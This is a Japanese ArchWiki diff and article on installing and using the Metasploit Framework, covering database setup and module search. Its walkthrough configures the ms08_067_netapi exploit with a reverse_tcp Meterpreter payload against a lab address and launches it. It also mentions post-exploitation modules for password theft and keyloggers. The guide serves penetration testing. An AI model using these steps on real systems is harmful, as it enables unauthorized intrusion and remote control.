「Metasploit Framework」の版間の差分
(同期) |
|||
(2人の利用者による、間の4版が非表示) | |||
2行目: | 2行目: | ||
[[Category:セキュリティ]] |
[[Category:セキュリティ]] |
||
[[en:Metasploit Framework]] |
[[en:Metasploit Framework]] |
||
+ | [[ru:Metasploit Framework]] |
||
[http://www.offensive-security.com/metasploit-unleashed/Introduction 公式サイト] より: |
[http://www.offensive-security.com/metasploit-unleashed/Introduction 公式サイト] より: |
||
:''今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。'' |
:''今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。'' |
||
9行目: | 10行目: | ||
== インストール == |
== インストール == |
||
− | + | {{Pkg|metasploit}} パッケージを[[インストール]]してください。任意で以下の RVM の設定手順に従ってください。ruby は依存パッケージとしてインストールされます。 |
|
最新の開発版を使いたいときは、{{AUR|metasploit-git}} をインストールしてください。 |
最新の開発版を使いたいときは、{{AUR|metasploit-git}} をインストールしてください。 |
||
+ | |||
+ | === Armitage === |
||
+ | |||
+ | [http://www.fastandeasyhacking.com/ Armitage] は [[Java]] で書かれた metasploit の GUI フロントエンドです。{{AUR|armitage}} パッケージでインストールできます。 |
||
+ | |||
+ | Armitage を実行する場合、[[#データベースの設定]]が必須になります。また、必ず {{ic|~/.msf4/database.yml}} ファイルを使う必要があります。 |
||
+ | |||
+ | {{ic|database.yml}} のファイルのサンプルは Armitage のパッケージに {{ic|/usr/share/metasploit/database.yml.sample}} として含まれています。 |
||
=== RVM === |
=== RVM === |
||
17行目: | 26行目: | ||
Msfconsole は [[Ruby]] を必要とし、エラーなく動かすために多少の [[Ruby#RubyGems]] が必要になります。 |
Msfconsole は [[Ruby]] を必要とし、エラーなく動かすために多少の [[Ruby#RubyGems]] が必要になります。 |
||
− | [[RVM#RVM のインストール]] と [[RVM#RVM を使う]] の記事に従って Ruby バージョン 2. |
+ | [[RVM#RVM のインストール]] と [[RVM#RVM を使う]] の記事に従って Ruby バージョン 2.3.3 をインストールしてデフォルトで使用するように設定してください。 |
設定が完了したら、新しく作成した RVM 環境を読み込みます: |
設定が完了したら、新しく作成した RVM 環境を読み込みます: |
||
28行目: | 37行目: | ||
$ bundle install |
$ bundle install |
||
− | {{Note|Ruby 2. |
+ | {{Note|Ruby 2.3.1 よりも古いバージョンを使っていると {{ic|metasploit-concern}} gem のインストールに失敗します。}} |
== データベースの設定 == |
== データベースの設定 == |
||
35行目: | 44行目: | ||
Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の ''Postgresql'' データベースサーバーをセットアップする方法を説明します。 |
Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の ''Postgresql'' データベースサーバーをセットアップする方法を説明します。 |
||
+ | |||
+ | {{Note|[[#Armitage]] フロントエンドを使用する場合、データベースの設定は必須です。}} |
||
[[PostgreSQL]] の記事に従って {{ic|msf}} という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では {{ic|msf}} ということにします。 |
[[PostgreSQL]] の記事に従って {{ic|msf}} という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では {{ic|msf}} ということにします。 |
||
86行目: | 97行目: | ||
起動するには、{{ic|msfconsole}} と入力してください。プロンプトが {{ic|msf >}} に代わり、コマンドの入力を待機していることがわかります。 |
起動するには、{{ic|msfconsole}} と入力してください。プロンプトが {{ic|msf >}} に代わり、コマンドの入力を待機していることがわかります。 |
||
+ | {{Tip|以下で説明している Metasploit コマンドに加え、標準のシェルコマンドやスクリプトに {{ic|$PATH}} が通ります (エイリアスは除く)。}} |
||
− | {{Tip|Besides additional Metasploit commands explained below, all the regular shell commands and scripts found in {{ic|$PATH}} are available too! (except for aliases)}} |
||
=== モジュールのタイプ === |
=== モジュールのタイプ === |
||
92行目: | 103行目: | ||
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します: |
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します: |
||
+ | * {{ic|auxiliary}} - [[Nmap|ポートスキャン]]やバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール。 |
||
− | * {{ic|auxiliary}} - Modules for helping the attacker in various tasks, like [[Nmap|port scanning]], version detection or network traffic analysis |
||
+ | * {{ic|exploit}} - 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード。 |
||
− | * {{ic|exploit}} - The code that takes advantage of a vulnerability and allows the execution of the payload, like triggering buffer overflow or bypassing authentication |
||
+ | * {{ic|payload}} - リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること。 |
||
− | * {{ic|payload}} - The thing that has to be done right after a successful exploit, like establishing a remote connection, starting a meterpreter session or executing some shell commands |
||
+ | * {{ic|post}} - exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム。 |
||
− | * {{ic|post}} - Various programs that can be run after successful exploitation and remote connection, like collecting passwords, setting up keyloggers or downloading files |
||
− | * {{ic|encoder}} - |
+ | * {{ic|encoder}} - 暗号化を実行するためのプログラム。 |
+ | * {{ic|nop}} - ''NOP'' ジェネレータ。''NOP'' は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。''NOP'' 命令は実行可能ファイルの空白を埋めるのに有用です。 |
||
− | * {{ic|nop}} - ''NOP'' generators. ''NOP'' is an assembly language instruction which simply does nothing. The machine code of this instruction is different on each hardware architecture. ''NOP'' instructions are useful for filling the void in executables. |
||
=== exploit の検索 === |
=== exploit の検索 === |
||
+ | 対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、[[Nmap|ポートスキャン]]を実行します。ポートスキャンの情報を使って、{{ic|search}} コマンドで利用可能な exploit を検索することができます。 |
||
− | {{Note|Currently the {{ic|search}} command [[#Bugs|does not work properly]]. Refer to [[#Searching from the database]] for a workaround.}} |
||
+ | 例えば、Novell の Linux プラットフォームの exploit を全て検索するには: |
||
− | To discover what operating system and software version a target runs, perform a [[Nmap|port scan]]. With this information, use the {{ic|search}} command to search for available exploits. |
||
− | |||
− | For example, to search for all exploits on Linux platform of Novell: |
||
msf > search platform:linux type:exploit name:Novell |
msf > search platform:linux type:exploit name:Novell |
||
+ | 特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます: |
||
− | To search for specific field, type it's name, followed by column and the phrase. The following search fields are available: |
||
{| class="wikitable" |
{| class="wikitable" |
||
118行目: | 127行目: | ||
|- |
|- |
||
| {{ic|app}} |
| {{ic|app}} |
||
− | | style=white-space:nowrap | Passive (client) |
+ | | style=white-space:nowrap | Passive (client) あるいは Active (server) な exploit |
| {{ic|client}}, {{ic|server}} |
| {{ic|client}}, {{ic|server}} |
||
| style=white-space:nowrap | {{ic|module_details.stance}} |
| style=white-space:nowrap | {{ic|module_details.stance}} |
||
|- |
|- |
||
| {{ic|author}} |
| {{ic|author}} |
||
− | | style=white-space:nowrap | |
+ | | style=white-space:nowrap | モジュールの作者の名前とメールアドレス |
+ | | 何でも入力可能 |
||
− | | Any phrase |
||
| style=white-space:nowrap | {{ic|module_authors.name}} |
| style=white-space:nowrap | {{ic|module_authors.name}} |
||
|- |
|- |
||
| {{ic|type}} |
| {{ic|type}} |
||
− | | style=white-space:nowrap | |
+ | | style=white-space:nowrap | [[#モジュールのタイプ|モジュールのタイプ]] |
| {{ic|auxiliary}}, {{ic|exploit}}, {{ic|payload}}, {{ic|post}}, {{ic|encoder}}, {{ic|nop}} |
| {{ic|auxiliary}}, {{ic|exploit}}, {{ic|payload}}, {{ic|post}}, {{ic|encoder}}, {{ic|nop}} |
||
| style=white-space:nowrap | {{ic|module_details.mtype}} |
| style=white-space:nowrap | {{ic|module_details.mtype}} |
||
|- |
|- |
||
| {{ic|name}} |
| {{ic|name}} |
||
− | | style=white-space:nowrap | |
+ | | style=white-space:nowrap | パス (Name) と短い説明 |
+ | | 何でも入力可能 |
||
− | | Any phrase |
||
| {{ic|module_details.fullname}}, {{ic|module_details.name}} |
| {{ic|module_details.fullname}}, {{ic|module_details.name}} |
||
|- |
|- |
||
| {{ic|platform}} |
| {{ic|platform}} |
||
− | | style=white-space:nowrap | |
+ | | style=white-space:nowrap | 対象ハードウェアあるいはソフトウェアプラットフォーム |
| {{ic|bsdi}}, {{ic|netware}}, {{ic|linux}}, {{ic|hpux}}, {{ic|irix}}, {{ic|osx}}, {{ic|bsd}}, {{ic|platform}}, {{ic|java}}, {{ic|javascript}}, {{ic|unix}}, {{ic|php}}, {{ic|firefox}}, {{ic|nodejs}}, {{ic|ruby}}, {{ic|cisco}}, {{ic|android}}, {{ic|aix}}, {{ic|windows}}, {{ic|python}}, {{ic|solaris}} |
| {{ic|bsdi}}, {{ic|netware}}, {{ic|linux}}, {{ic|hpux}}, {{ic|irix}}, {{ic|osx}}, {{ic|bsd}}, {{ic|platform}}, {{ic|java}}, {{ic|javascript}}, {{ic|unix}}, {{ic|php}}, {{ic|firefox}}, {{ic|nodejs}}, {{ic|ruby}}, {{ic|cisco}}, {{ic|android}}, {{ic|aix}}, {{ic|windows}}, {{ic|python}}, {{ic|solaris}} |
||
| style=white-space:nowrap | {{ic|module_platforms.name}} |
| style=white-space:nowrap | {{ic|module_platforms.name}} |
||
|- |
|- |
||
− | | {{ic|bid}}, {{ic|cve}}, {{ic|edb}}, {{ic|osvdb}} |
+ | | {{ic|bid}}, {{ic|cve}}, {{ic|edb}}, {{ic|osvdb}}, {{ic|ref}} |
− | | |
+ | | [http://www.securityfocus.com/ Bugtraq], [http://www.cvedetails.com/ CVE], [http://www.exploit-db.com/ Exploit-DB], [http://www.osvdb.org/ OSBDB] ID など |
+ | | Exploit データベースのエントリ ID あるいは上流のレポート URL の一部 |
||
− | | Exploit database entry ID, or a part of upstream report URL |
||
| style=white-space:nowrap | {{ic|module_refs.name}} |
| style=white-space:nowrap | {{ic|module_refs.name}} |
||
|- |
|- |
||
| (No field) |
| (No field) |
||
− | | |
+ | | 上記の {{ic|app}} と {{ic|type}} を除く全て |
+ | | 何でも入力可能 |
||
− | | Any phrase |
||
+ | | 上記の全て |
||
− | | All of the above |
||
|} |
|} |
||
+ | 高度な検索方法は [[#データベースから検索]] や [[#データベース検索のサンプル]] を見て下さい。 |
||
− | See [[#Searching from the database]] and [[#Database search examples]] for more advanced search queries. |
||
=== exploit を使う === |
=== exploit を使う === |
||
+ | 適当な exploit を選択したら、ハッキングの時間です。 |
||
− | After choosing an appropriate exploit, it's time to start hacking! |
||
+ | まず {{ic|use}} コマンドを使って exploit を選択: |
||
− | First, select an exploit using the {{ic|use}} command: |
||
msf > use exploit/windows/smb/ms08_067_netapi |
msf > use exploit/windows/smb/ms08_067_netapi |
||
+ | {{Note|{{ic|ms08_067_netapi}} は Windows XP と Windows Server 2003 の SMB サービスに影響を与える最も有名な exploit の一つです。2008年に公開された exploit で、ファイアウォールが無効になっていてパッチが適用されていないシステムなら、かなり確実に exploit することができます。}} |
||
− | {{Note|{{ic|ms08_067_netapi}} is one of the most popular exploits affecting Windows XP and Windows Server 2003 SMB services. It was disclosed in 2008 and proves to be very reliable in exploiting unpatched systems which have firewalls disabled.}} |
||
+ | モジュールの情報を表示するには、{{ic|info}} コマンドを使用: |
||
− | To view information about a module, use the {{ic|info}} command: |
||
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi |
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi |
||
+ | 何も引数を付けないで {{ic|info}} を実行すると、現在選択されているモジュールの情報が表示されます。 |
||
− | Running {{ic|info}} without arguments will show info about currently selected module. |
||
+ | 選択した exploit のオプションを確認するには、次を実行: |
||
− | To view the selected exploit's options, run: |
||
{{hc|msf exploit(ms08_067_netapi) > show options| |
{{hc|msf exploit(ms08_067_netapi) > show options| |
||
185行目: | 194行目: | ||
}} |
}} |
||
+ | exploit する前に必要なフィールドを全て設定してください。上記の場合、{{ic|RHOST}} 変数を指定する必要があります。変数に値を指定するには {{ic|set}} コマンドを使います: |
||
− | All the required fields must be provided before exploitation. Here, only the {{ic|RHOST}} variable must be specified. To assign a value to a variable use the {{ic|set}} command: |
||
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102 |
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102 |
||
+ | そしてペイロードを選択: |
||
− | Now choose the payload: |
||
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp |
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp |
||
+ | {{Note|Meterpreter は Metasploit に組み込まれたコマンドシェルで、攻撃者はこれを使って exploit されたシステムでリモートコマンドを実行することができます。exploit したコンピュータから exploit を仕掛けたコンピュータに接続を確立するときは Reverse TCP が使われます。}} |
||
− | {{Note|Meterpreter is a command shell built into Metasploit and allows the attacker to run remote commands on exploited systems. Reverse TCP is technique when the exploited computer establishes a connection back to the computer it was exploited from.}} |
||
+ | ペイロードを選択 (つまりモジュールを選択) するとオプションが増えます。もう一度 {{ic|show options}} を実行してください: |
||
− | Choosing a payload (actually, choosing modules in general) will add more options. Run {{ic|show optons}} again: |
||
{{hc|msf exploit(ms08_067_netapi) > show options| |
{{hc|msf exploit(ms08_067_netapi) > show options| |
||
216行目: | 225行目: | ||
}} |
}} |
||
+ | {{ic|LHOST}} 変数にあなたのコンピュータのアドレスを指定してください。exploit されたコンピュータはそのアドレスに接続リクエストを送信します: |
||
− | Now assign {{ic|LHOST}} variable to the address of your computer, where the exploited computer will send connection requests to: |
||
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1 |
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1 |
||
+ | では攻撃を開始してください: |
||
− | Now launch the attack! |
||
msf exploit(ms08_067_netapi) > exploit |
msf exploit(ms08_067_netapi) > exploit |
||
+ | 上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。 |
||
− | If you are lucky, you will be dropped to a Meterpreter session where you can do anything on the remote computer. See [[#Meterpreter]] for available commands. |
||
− | |||
− | == バグ == |
||
− | |||
− | === 検索で正しくフィルタリングされない === |
||
− | |||
− | Currently the {{ic|search}} command in {{ic|msfconsole}} does not properly filter the results if more than 1 filters are specified. See [https://dev.metasploit.com/redmine/issues/8822 the bug report] for details. |
||
− | |||
− | See [[#Searching from the database]] for a workaround. |
||
+ | == ヒントとテクニック == |
||
− | == Tips and tricks == |
||
=== データベースから検索 === |
=== データベースから検索 === |
||
+ | Metasploit ではあらゆるものがデータベースに保存されるため、フロントエンドコマンドの {{ic|search}} を使わなくても強力な検索を使うことが簡単にできます。 |
||
− | Since everything in Metasploit is stored in a database, it's easy to make powerful search queries without the need of the {{ic|search}} frontend command. |
||
+ | データベースインターフェイスを起動するには、次を実行: |
||
− | To start the database interface, run: |
||
$ psql msf |
$ psql msf |
||
+ | モジュールに関する情報は8つのテーブルに保存されています: |
||
− | The information about modules is stored in 8 tables: |
||
{| class="wikitable" |
{| class="wikitable" |
||
251行目: | 252行目: | ||
|- |
|- |
||
|{{ic|module_details}} |
|{{ic|module_details}} |
||
+ | |"メイン"のテーブルで、各モジュールの詳細情報が入っています。 |
||
− | |The "main" table, describes various details of each module |
||
|- |
|- |
||
|{{ic|module_actions}} |
|{{ic|module_actions}} |
||
− | | |
+ | |''auxiliary'' モジュールのアクション名。 |
|- |
|- |
||
|{{ic|module_archs}} |
|{{ic|module_archs}} |
||
+ | |対象ハードウェアのアーキテクチャやソフトウェアのプラットフォーム |
||
− | |The target hardware architecture or software platform |
||
|- |
|- |
||
|{{ic|module_authors}} |
|{{ic|module_authors}} |
||
+ | |モジュールの作者の名前とメールアドレス。 |
||
− | |Names and emails of module author |
||
|- |
|- |
||
|{{ic|module_mixins}} |
|{{ic|module_mixins}} |
||
− | | |
+ | |空 (???) |
|- |
|- |
||
|{{ic|module_platforms}} |
|{{ic|module_platforms}} |
||
+ | |対象オペレーティングシステム。[[#exploit の数によるプラットフォームの人気度]] も参照。 |
||
− | |The target operating system. See also [[#Popularity of a platform by number of exploits]] |
||
|- |
|- |
||
|{{ic|module_refs}} |
|{{ic|module_refs}} |
||
+ | |様々なオンラインの exploit データベースとレポートのリファレンス。 |
||
− | |References to various online exploit databases and reports |
||
|- |
|- |
||
|{{ic|module_targets}} |
|{{ic|module_targets}} |
||
+ | |''exploit'' 対象のプログラムの名前とバージョン。 |
||
− | |The target program name and version of the ''exploit'' |
||
|} |
|} |
||
− | {{Tip| |
+ | {{Tip|テーブルの情報を詳しく見たい場合は {{ic|\d+ ''table_name''}} を実行してください。例: {{ic|\d+ module_details}}。}} |
− | + | ほとんどのテーブルには3つカラムがあります: {{ic|id}}, {{ic|detail_id}}, {{ic|name}}。例外的に {{ic|module_details}} テーブルは16のカラムがあります。 |
|
− | + | {{ic|detail_id}} の値は {{ic|module_details}} テーブルの行数のポインタです。 |
|
+ | テーブルの中身を全て表示するには、次を実行: |
||
− | To see the all the contents of a table, run: |
||
SELECT * FROM ''table_name''; |
SELECT * FROM ''table_name''; |
||
+ | マルチ: |
||
− | Multiple: |
||
* Architecture |
* Architecture |
||
291行目: | 292行目: | ||
* Target |
* Target |
||
+ | モジュールのオプション: |
||
− | Module options: |
||
* module type |
* module type |
||
305行目: | 306行目: | ||
=== データベース検索のサンプル === |
=== データベース検索のサンプル === |
||
+ | {{ic|module_details}} テーブルには複数のカラムがあり、全ての情報を一度に表示するのは得策ではありません。モジュールの基本的な情報だけを表示するには: |
||
− | The {{ic|module_details}} table contains multiple columns and viewing them all at once is not convenient. To show only basic information about the modules: |
||
SELECT id, mtype, refname, disclosure_date, rank, stance, name |
SELECT id, mtype, refname, disclosure_date, rank, stance, name |
||
FROM module_details; |
FROM module_details; |
||
+ | {{ic|module_platforms}} のプラットフォーム情報を含む、利用可能なモジュールの情報を表示: |
||
− | Show some information about available modules, include platform information from {{ic|module_platforms}}: |
||
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
||
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id; |
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id; |
||
+ | Windows プラットフォームの全てのクライアント (aggressive) exploit を表示: |
||
− | Show all client (aggressive) exploits for Windows platform: |
||
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
||
323行目: | 324行目: | ||
AND stance = 'aggressive'; |
AND stance = 'aggressive'; |
||
+ | 2013年以後に発表された rank >= 500 の Windows プラットフォーム用の exploit を全て表示: |
||
− | Show all exploits for Windows platform with rank >= 500 disclosed after 2013: |
||
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
||
332行目: | 333行目: | ||
AND disclosure_date >= TIMESTAMP '2013-1-1'; |
AND disclosure_date >= TIMESTAMP '2013-1-1'; |
||
+ | rank >= 500 の Windows プラットフォームの aggressive (client) exploit を全て表示、モジュールの対象情報も含む: |
||
− | Show all aggressive (client) exploits for Windows platform with rank >= 500 and include additional information about module's target: |
||
SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target |
SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target |
||
344行目: | 345行目: | ||
=== exploit の数によるプラットフォームの人気度 === |
=== exploit の数によるプラットフォームの人気度 === |
||
+ | 利用可能な {{ic|platform}} の値と、利用可能な exploit の数を調べるには、{{ic|psql}} から以下を実行: |
||
− | To view the possible {{ic|platform}} values, and number of available exploits, run from {{ic|psql}}: |
||
SELECT name, count(*) |
SELECT name, count(*) |
||
353行目: | 354行目: | ||
=== 起動時の ASCII バナーを無効化 === |
=== 起動時の ASCII バナーを無効化 === |
||
+ | バナーを無効化するには、{{ic|-q}}/{{ic|--quiet}} 引数を付けて {{ic|msfconsole}} を実行してください: |
||
− | To disable the banner, run {{ic|msfconsole}} with {{ic|-q}}/{{ic|--quiet}} argument: |
||
$ msfconsole --quiet |
$ msfconsole --quiet |
||
359行目: | 360行目: | ||
=== セッションが変わっても変数の値を維持する === |
=== セッションが変わっても変数の値を維持する === |
||
+ | 他のモジュールを選択したときや {{ic|msfconsole}} を再起動したときに変数がリセットされるのが気に食わない場合、{{ic|setg}} で変数をグローバルに設定してください。例: |
||
− | If you don't want the variables to reset when selecting another module and when rerunning {{ic|msfconsole}} then set it globally via {{ic|setg}}, for example: |
||
msf > setg RHOST 192.168.56.102 |
msf > setg RHOST 192.168.56.102 |
||
367行目: | 368行目: | ||
=== VNC ビューアでクリックできない === |
=== VNC ビューアでクリックできない === |
||
+ | ペイロードとして VNC ビューアを選択したときに、クリックができない、あるいは何もできない場合、{{ic|ViewOnly}} 変数を {{ic|false}} に設定するのを忘れています。この問題を修正するには、変数を {{ic|false}} に設定してから exploit を再度実行してください: |
||
− | If you selected VNC viewer as a payload, but are unable to click or do any actions, that means you forgot to set the {{ic|ViewOnly}} variable to false. To fix this problem, re-run the exploit with the variable set to {{ic|false}}: |
||
msf > set ViewOnly false |
msf > set ViewOnly false |
||
393行目: | 394行目: | ||
from ./msfconsole:48:in `<main>' |
from ./msfconsole:48:in `<main>' |
||
− | + | このエラーは {{ic|robots.rb}} ファイルのパーミッションが不適切で root ユーザーからしか読み取れなくなっているのが原因です ([https://github.com/fizx/robots/issues/6 バグレポート] を参照): |
|
{{hc|$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib| |
{{hc|$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib| |
||
400行目: | 401行目: | ||
}} |
}} |
||
+ | エラーを修正するには、誰からでも読み取れるようにパーミッションを変更してください: |
||
− | To fix this, simply change the permission to be world-readable: |
||
# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb |
# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb |
||
406行目: | 407行目: | ||
=== db_connect が何もエラーを表示しないで失敗する === |
=== db_connect が何もエラーを表示しないで失敗する === |
||
+ | {{ic|db_connect}} の実行時に何も出力がされず、遅れて以下のようなメッセージが表示される場合: |
||
− | If upon running {{ic|db_connect}} you see no output, but later getting a message like this: |
||
[!] Database not connected or cache not built, using slow search |
[!] Database not connected or cache not built, using slow search |
||
− | + | おそらく {{ic|postgresql}} サービスが動いていません。 |
|
== 参照 == |
== 参照 == |
||
− | * [ |
+ | * [https://www.offensive-security.com/metasploit-unleashed/Main_Page Metasploit Unleashed セキュリティトレーニング] |
* [https://github.com/rapid7/metasploit-framework/wiki Metasploit wiki on GitHub] |
* [https://github.com/rapid7/metasploit-framework/wiki Metasploit wiki on GitHub] |
||
− | * [ |
+ | * [https://en.wikibooks.org/wiki/Metasploit The Metasploit Book] |
2017年12月6日 (水) 23:48時点における最新版
公式サイト より:
- 今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。
現在、Metasploit を使うには対象環境に Postgresql をセットアップ・設定する必要があります。この記事では Postgresql データベースを使って metasploit を動作させる方法を説明します。
インストール
metasploit パッケージをインストールしてください。任意で以下の RVM の設定手順に従ってください。ruby は依存パッケージとしてインストールされます。
最新の開発版を使いたいときは、metasploit-gitAUR をインストールしてください。
Armitage
Armitage は Java で書かれた metasploit の GUI フロントエンドです。armitageAUR パッケージでインストールできます。
Armitage を実行する場合、#データベースの設定が必須になります。また、必ず ~/.msf4/database.yml
ファイルを使う必要があります。
database.yml
のファイルのサンプルは Armitage のパッケージに /usr/share/metasploit/database.yml.sample
として含まれています。
RVM
Msfconsole は Ruby を必要とし、エラーなく動かすために多少の Ruby#RubyGems が必要になります。
RVM#RVM のインストール と RVM#RVM を使う の記事に従って Ruby バージョン 2.3.3 をインストールしてデフォルトで使用するように設定してください。
設定が完了したら、新しく作成した RVM 環境を読み込みます:
$ source ~/.rvm/scripts/rvm
そして Ruby#Bundler を使って Msfconsole を動かすのに必要な gem を全てインストールしてください:
$ gem install bundler $ bundle install
データベースの設定
Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の Postgresql データベースサーバーをセットアップする方法を説明します。
PostgreSQL の記事に従って msf
という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では msf
ということにします。
msfconsole
を起動して以下を入力:
msf > db_connect user@msf
user はデータベースの所有者の名前に置き換えてください (通常はあなたの Linux ユーザー名)。
データベースキャッシュを再生成:
msf > db_rebuild_cache
Metasploit はバックグラウンドでキャッシュを再生成するため、コマンドの実行中にも他のことができます。
現在 Metasploit では msfconsole
を起動するたびに db_connect
コマンドを実行する必要があります。毎回このコマンドを入力するのが面倒くさい場合、シェルのスタートアップファイル (例: ~/.bashrc
) に以下のエイリアスを追加してください:
alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\""
quiet
オプションは起動時の ASCII バナーを無効化して、-x
コマンドは起動後すぐに指定されたコマンドを実行します。
.msf4
ディレクトリに database.yml
ファイルを作成する方法もあります。例:
~/.msf4/database.yml
production: adapter: postgresql database: msf username: ${USER} password: ${PASS} host: localhost port: 5432 pool: 5 timeout: 5
db_status
を実行してデータベースの接続が正しく確立していることを確認してください:
msf > db_status
[*] postgresql connected to msf
使用方法
Metasploit では複数のインターフェイスが使えます。このセクションでは MSF の大抵の機能を使えるインターフェイスである msfconsole
を利用する方法を説明します。
起動するには、msfconsole
と入力してください。プロンプトが msf >
に代わり、コマンドの入力を待機していることがわかります。
モジュールのタイプ
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します:
auxiliary
- ポートスキャンやバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール。exploit
- 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード。payload
- リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること。post
- exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム。encoder
- 暗号化を実行するためのプログラム。nop
- NOP ジェネレータ。NOP は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。NOP 命令は実行可能ファイルの空白を埋めるのに有用です。
exploit の検索
対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、ポートスキャンを実行します。ポートスキャンの情報を使って、search
コマンドで利用可能な exploit を検索することができます。
例えば、Novell の Linux プラットフォームの exploit を全て検索するには:
msf > search platform:linux type:exploit name:Novell
特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます:
検索フィールド | 説明 | 入力可能な値 | DB テーブル & カラム |
---|---|---|---|
app
|
Passive (client) あるいは Active (server) な exploit | client , server
|
module_details.stance
|
author
|
モジュールの作者の名前とメールアドレス | 何でも入力可能 | module_authors.name
|
type
|
モジュールのタイプ | auxiliary , exploit , payload , post , encoder , nop
|
module_details.mtype
|
name
|
パス (Name) と短い説明 | 何でも入力可能 | module_details.fullname , module_details.name
|
platform
|
対象ハードウェアあるいはソフトウェアプラットフォーム | bsdi , netware , linux , hpux , irix , osx , bsd , platform , java , javascript , unix , php , firefox , nodejs , ruby , cisco , android , aix , windows , python , solaris
|
module_platforms.name
|
bid , cve , edb , osvdb , ref
|
Bugtraq, CVE, Exploit-DB, OSBDB ID など | Exploit データベースのエントリ ID あるいは上流のレポート URL の一部 | module_refs.name
|
(No field) | 上記の app と type を除く全て
|
何でも入力可能 | 上記の全て |
高度な検索方法は #データベースから検索 や #データベース検索のサンプル を見て下さい。
exploit を使う
適当な exploit を選択したら、ハッキングの時間です。
まず use
コマンドを使って exploit を選択:
msf > use exploit/windows/smb/ms08_067_netapi
モジュールの情報を表示するには、info
コマンドを使用:
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi
何も引数を付けないで info
を実行すると、現在選択されているモジュールの情報が表示されます。
選択した exploit のオプションを確認するには、次を実行:
